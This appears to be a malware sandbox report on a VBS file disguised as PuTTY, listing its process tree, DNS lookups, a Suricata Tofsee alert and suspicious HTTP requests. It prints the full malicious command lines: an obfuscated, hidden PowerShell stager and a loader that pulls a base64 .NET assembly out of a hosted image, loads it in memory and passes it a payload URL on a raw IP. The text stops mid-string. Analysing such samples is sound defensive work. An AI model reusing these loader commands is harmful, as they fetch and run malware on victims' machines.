Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6403_us | Nov. 2, 2023, 10:27 a.m. | Nov. 2, 2023, 10:30 a.m. |
-
wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Vbs-File0008765putty.vbs
1648-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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KGXkhpYIrIKGXHMhpYIrIKGXdhpYIrIKGXBhhpYIrIKGXHIhpYIrIKGXdhpYIrIKGXBJhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBlhpYIrIKGXHghpYIrIKGXIhpYIrIKGXhpYIrIKGXthpYIrIKGXGchpYIrIKGXZQhpYIrIKGXghpYIrIKGXDhpYIrIKGXhpYIrIKGXIhpYIrIKGXhpYIrIKGXthpYIrIKGXGEhpYIrIKGXbgBkhpYIrIKGXChpYIrIKGXhpYIrIKGXJhpYIrIKGXBlhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBJhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBlhpYIrIKGXHghpYIrIKGXIhpYIrIKGXhpYIrIKGXthpYIrIKGXGchpYIrIKGXdhpYIrIKGXhpYIrIKGXghpYIrIKGXCQhpYIrIKGXcwB0hpYIrIKGXGEhpYIrIKGXcgB0hpYIrIKGXEkhpYIrIKGXbgBkhpYIrIKGXGUhpYIrIKGXehpYIrIKGXhpYIrIKGX7hpYIrIKGXCQhpYIrIKGXcwB0hpYIrIKGXGEhpYIrIKGXcgB0hpYIrIKGXEkhpYIrIKGXbgBkhpYIrIKGXGUhpYIrIKGXehpYIrIKGXhpYIrIKGXghpYIrIKGXCshpYIrIKGXPQhpYIrIKGXghpYIrIKGXCQhpYIrIKGXcwB0hpYIrIKGXGEhpYIrIKGXcgB0hpYIrIKGXEYhpYIrIKGXbhpYIrIKGXBhhpYIrIKGXGchpYIrIKGXLgBMhpYIrIKGXGUhpYIrIKGXbgBnhpYIrIKGXHQhpYIrIKGXahpYIrIKGXhpYIrIKGX7hpYIrIKGXCQhpYIrIKGXYgBhhpYIrIKGXHMhpYIrIKGXZQhpYIrIKGX2hpYIrIKGXDQhpYIrIKGXThpYIrIKGXBlhpYIrIKGXG4hpYIrIKGXZwB0hpYIrIKGXGghpYIrIKGXIhpYIrIKGXhpYIrIKGX9hpYIrIKGXChpYIrIKGXhpYIrIKGXJhpYIrIKGXBlhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBJhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBlhpYIrIKGXHghpYIrIKGXIhpYIrIKGXhpYIrIKGXthpYIrIKGXChpYIrIKGXhpYIrIKGXJhpYIrIKGXBzhpYIrIKGXHQh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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('hpYIrIKGX','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2136-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LnNrbmlMeXR0dVAvZWxpZi8yMTIuMzExLjU3MS43MDEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
2272-
RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2680
-
-
-
Name | Response | Post-Analysis Lookup |
---|---|---|
imageupload.io | 104.21.83.102 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.103:49166 -> 172.67.222.26:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.103:49166 172.67.222.26:443 |
C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 | CN=imageupload.io | b1:21:d8:81:60:0d:67:7c:14:72:94:30:ff:a0:2d:d7:b8:50:dd:46 |
suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://107.175.113.212/file/PuttyLinks.txt | ||||||
suspicious_features | GET method with no useragent header | suspicious_request | GET https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg |
request | GET http://107.175.113.212/file/PuttyLinks.txt |
request | GET https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg |
file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LnNrbmlMeXR0dVAvZWxpZi8yMTIuMzExLjU3MS43MDEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JhpYIrIKGXBphpYIrIKGXG0hpYIrIKGXYQBnhpYIrIKGXGUhpYIrIKGXVQByhpYIrIKGXGwhpYIrIKGXIhpYIrIKGXhpYIrIKGX9hpYIrIKGXChpYIrIKGXhpYIrIKGXJwBohpYIrIKGXHQhpYIrIKGXdhpYIrIKGXBwhpYIrIKGXHMhpYIrIKGXOghpYIrIKGXvhpYIrIKGXC8hpYIrIKGXaQBthpYIrIKGXGEhpYIrIKGXZwBlhpYIrIKGXHUhpYIrIKGXchpYIrIKGXBshpYIrIKGXG8hpYIrIKGXYQBkhpYIrIKGXC4hpYIrIKGXaQBvhpYIrIKGXC8hpYIrIKGXaQBihpYIrIKGXC8hpYIrIKGXdwBzhpYIrIKGXDghpYIrIKGXTQBBhpYIrIKGXEohpYIrIKGXNgBlhpYIrIKGXHhpYIrIKGXhpYIrIKGXdhpYIrIKGXBphpYIrIKGXEwhpYIrIKGXZgBHhpYIrIKGXHUhpYIrIKGXXwhpYIrIKGXxhpYIrIKGXDYhpYIrIKGXOQhpYIrIKGX3hpYIrIKGXDchpYIrIKGXMwhpYIrIKGX4hpYIrIKGXDQhpYIrIKGXOQhpYIrIKGXyhpYIrIKGXC4hpYIrIKGXagBwhpYIrIKGXGchpYIrIKGXJwhpYIrIKGX7hpYIrIKGXCQhpYIrIKGXdwBlhpYIrIKGXGIhpYIrIKGXQwBshpYIrIKGXGkhpYIrIKGXZQBuhpYIrIKGXHQhpYIrIKGXIhpYIrIKGXhpYIrIKGX9hpYIrIKGXChpYIrIKGXhpYIrIKGXTgBlhpYIrIKGXHchpYIrIKGXLQBPhpYIrIKGXGIhpYIrIKGXagBlhpYIrIKGXGMhpYIrIKGXdhpYIrIKGXhpYIrIKGXghpYIrIKGXFMhpYIrIKGXeQBzhpYIrIKGXHQhpYIrIKGXZQBthpYIrIKGXC4hpYIrIKGXTgBlhpYIrIKGXHQhpYIrIKGXLgBXhpYIrIKGXGUhpYIrIKGXYgBDhpYIrIKGXGwhpYIrIKGXaQBlhpYIrIKGXG4hpYIrIKGXdhpYIrIKGXhpYIrIKGX7hpYIrIKGXCQhpYIrIKGXaQBthpYIrIKGXGEhpYIrIKGXZwBlhpYIrIKGXEIhpYIrIKGXeQB0hpYIrIKGXGUhpYIrIKGXcwhpYIrIKGXghpYIrIKGXD0hpYIrIKGXIhpYIrIKGXhpYIrIKGXkhpYIrIKGXHchpYIrIKGXZQBihpYIrIKGXEMhpYIrIKGXbhpYIrIKGXBphpYIrIKGXGUhpYIrIKGXbgB0hpYIrIKGXC4hpYIrIKGXRhpYIrIKGXBvhpYIrIKGXHchpYIrIKGXbgBshpYIrIKGXG8hpYIrIKGXYQBkhpYIrIKGXEQhpYIrIKGXYQB0hpYIrIKGXGEhpYIrIKGXKhpYIrIKGXhpYIrIKGXkhpYIrIKGXGkhpYIrIKGXbQBhhpYIrIKGXGchpYIrIKGXZQBVhpYIrIKGXHIhpYIrIKGXbhpYIrIKGXhpYIrIKGXphpYIrIKGXDshpYIrIKGXJhpYIrIKGXBphpYIrIKGXG0hpYIrIKGXYQBnhpYIrIKGXGUhpYIrIKGXVhpYIrIKGXBlhpYIrIKGXHghpYIrIKGXdhpYIrIKGXhpYIrIKGXghpYIrIKGXD0hpYIrIKGXIhpYIrIKGXBbhpYIrIKGXFMhpYIrIKGXeQBzhpYIrIKGXHQhpYIrIKGXZQBthpYIrIKGXC4hpYIrIKGXVhpYIrIKGXBlhpYIrIKGXHghpYIrIKGXdhpYIrIKGXhpYIrIKGXuhpYIrIKGXEUhpYIrIKGXbgBjhpYIrIKGXG8hpYIrIKGXZhpYIrIKGXBphpYIrIKGXG4hpYIrIKGXZwBdhpYIrIKGXDohpYIrIKGXOgBVhpYIrIKGXFQhpYIrIKGXRghpYIrIKGX4hpYIrIKGXC4hpYIrIKGXRwBlhpYIrIKGXHQhpYIrIKGXUwB0hpYIrIKGXHIhpYIrIKGXaQBuhpYIrIKGXGchpYIrIKGXKhpYIrIKGXhpYIrIKGXkhpYIrIKGXGkhpYIrIKGXbQBhhpYIrIKGXGchpYIrIKGXZQBChpYIrIKGXHkhpYIrIKGXdhpYIrIKGXBlhpYIrIKGXHMhpYIrIKGXKQhpYIrIKGX7hpYIrIKGXCQhpYIrIKGXcwB0hpYIrIKGXGEhpYIrIKGXcgB0hpYIrIKGXEYhpYIrIKGXbhpYIrIKGXBhhpYIrIKGXGchpYIrIKGXIhpYIrIKGXhpYIrIKGX9hpYIrIKGXChpYIrIKGXhpYIrIKGXJwhpYIrIKGX8hpYIrIKGXDwhpYIrIKGXQgBBhpYIrIKGXFMhpYIrIKGXRQhpYIrIKGX2hpYIrIKGXDQhpYIrIKGXXwBThpYIrIKGXFQhpYIrIKGXQQBShpYIrIKGXFQhpYIrIKGXPghpYIrIKGX+hpYIrIKGXCchpYIrIKGXOwhpYIrIKGXkhpYIrIKGXGUhpYIrIKGXbgBkhpYIrIKGXEYhpYIrIKGXbhpYIrIKGXBhhpYIrIKGXGchpYIrIKGXIhpYIrIKGXhpYIrIKGX9hpYIrIKGXChpYIrIKGXhpYIrIKGXJwhpYIrIKGX8hpYIrIKGXDwhpYIrIKGXQgBBhpYIrIKGXFMhpYIrIKGXRQhpYIrIKGX2hpYIrIKGXDQhpYIrIKGXXwBFhpYIrIKGXE4hpYIrIKGXRhpYIrIKGXhpYIrIKGX+hpYIrIKGXD4hpYIrIKGXJwhpYIrIKGX7hpYIrIKGXCQhpYIrIKGXcwB0hpYIrIKGXGEhpYIrIKGXcgB0hpYIrIKGXEkhpYIrIKGXbgBkhpYIrIKGXGUhpYIrIKGXehpYIrIKGXhpYIrIKGXghpYIrIKGXD0hpYIrIKGXIhpYIrIKGXhpYIrIKGXkhpYIrIKGXGkhpYIrIKGXbQBhhpYIrIKGXGchpYIrIKGXZQBUhpYIrIKGXGUhpYIrIKGXehpYIrIKGXB0hpYIrIKGXC4hpYIrIKGXSQBuhpYIrIKGXGQhpYIrIKGXZQB4hpYIrIKGXE8hpYIrIKGXZghpYIrIKGXohpYIrIKGXCQhpYIrIKGXcwB0hpYIrIKGXGEhpYIrIKGXcgB0hpYIrIKGXEYhpYIrIKGXbhpYIrIKGXBhhpYIrIKGXGchpYIrIKGXKQhpYIrIKGX7hpYIrIKGXCQhpYIrIKGXZQBuhpYIrIKGXGQhpYIrIKGXSQBuhpYIrIKGXGQhpYIrIKGXZQB4hpYIrIKGXChpYIrIKGXhpYIrIKGXPQhpYIrIKGXghpYIrIKGXCQhpYIrIKGXaQBthpYIrIKGXGEhpYIrIKGXZwBlhpYIrIKGXFQhpYIrIKGXZQB4hpYIrIKGXHQhpYIrIKGXLgBJhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBlhpYIrIKGXHghpYIrIKGXTwBmhpYIrIKGXCghpYIrIKGXJhpYIrIKGXBlhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBGhpYIrIKGXGwhpYIrIKGXYQBnhpYIrIKGXCkhpYIrIKGXOwhpYIrIKGXkhpYIrIKGXHMhpYIrIKGXdhpYIrIKGXBhhpYIrIKGXHIhpYIrIKGXdhpYIrIKGXBJhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBlhpYIrIKGXHghpYIrIKGXIhpYIrIKGXhpYIrIKGXthpYIrIKGXGchpYIrIKGXZQhpYIrIKGXghpYIrIKGXDhpYIrIKGXhpYIrIKGXIhpYIrIKGXhpYIrIKGXthpYIrIKGXGEhpYIrIKGXbgBkhpYIrIKGXChpYIrIKGXhpYIrIKGXJhpYIrIKGXBlhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBJhpYIrIKGXG4hpYIrIKGXZhpYIrIKGXBlhpYIrIKGXHghpYIrIKGXIhpYIrIKGXhpYIrIKGXthpYIrIKGXGchpYIrIKGXdhpYIrIKGXhpYIrIKGXghpYIrIKGXCQhpYIrIKGXcwB0hpYIrIKGXGEhpYIrIKGXcgB0hpYIrIKGXEkhpYIrIKGXbgBkhpYIrIKGXGUhpYIrIKGXehpYIrIKGXhpYIrIKGX7hpYIrIKGXCQhpYIr